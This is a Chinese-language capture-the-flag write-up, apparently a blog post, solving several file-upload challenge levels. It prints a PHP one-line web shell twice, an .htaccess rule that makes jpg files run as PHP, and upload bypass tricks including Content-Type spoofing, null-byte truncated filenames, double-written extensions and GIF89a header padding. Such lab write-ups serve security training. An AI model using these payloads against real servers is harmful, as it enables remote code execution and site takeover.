赞
踩
目录
启动环境
我们上传一句话木马
<?php @eval($_POST['shell']);?>
提示了相对路径, 我们直接使用蚁剑连接。
找到flag。
上传php文件,前端校验不允许上传php文件
审计代码,只允许上传图片类型
我们先将后缀改为 .jpg 上传成功
再通过burp抓包,修改filename="1.php"和Content-Type: php
发送数据包,页面显示上传成功
使用蚁剑连接
成功找到flag
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
我们先上传 .htaccess 文件
- <FilesMatch "jpg">
- SetHandler application/x-httpd-php
- </FilesMatch>
上传成功,它会将我们上传的 jpg 文件解析成php文件
上传图片码 1.jpg
<?php @eval($_POST['shell']);?>
使用蚁剑连接。
成功找到flag
我们尝试上传php文件,提示我们文件类型不对,而我们前端做验证的时候提示的是该文件不允许上传。说明不是根据我们的文件后缀做的过滤。
我们抓包将Content-Type修改为 image/jpg, 发送数据包
上传成功!
蚁剑连接
找到flag
了解一下 PHP 5.2 00截断上传的原理
不明白00截断原理的兄弟姐妹们,可以查看下面的文章,文章很详细很清楚的为我们讲解了00截断的原理。
审计代码
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
它会将我们上传的文件重命名,所得到的路径是GET[‘road’]+随机数+日期+前面获得的后缀名,这显然不太好,不知道文件路径就连不上木马了。所以我们要对road也进行一定的处理。
尝试上传php文件
我们burp抓包
- filename="1.php%001.jpg"
-
- /?road=/var/www/html/upload/1.php%001.jpg
在road后添加上1.php%001.jpgroad 就会使后面部分失去效果,上传后的路径即被固定,可以使用蚁剑进行连接。
发送数据包,页面显示上传成功!
蚁剑连接,因为我们修改了road,所以路径就是/upload/1.php
/upload/1.php
找到flag
启动环境分析源码
这里使用str_ireplace() 函数将我们的后缀替换成了空,但是只替换一次,双写绕过
1.pphphp
上传成功 我们看到文件后缀为php
依旧使用蚁剑连接获得flag
我们上传php文件,进行抓包,Content-Type修改为图片类型 image/jpe
再在文件内容首部添加 GIF89a 表示是一个GIF89a图形文件
发送数据包
上传成功,使用蚁剑连接获取flag
文件上传 完结!!!
剩余技能上线后会持续更新。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。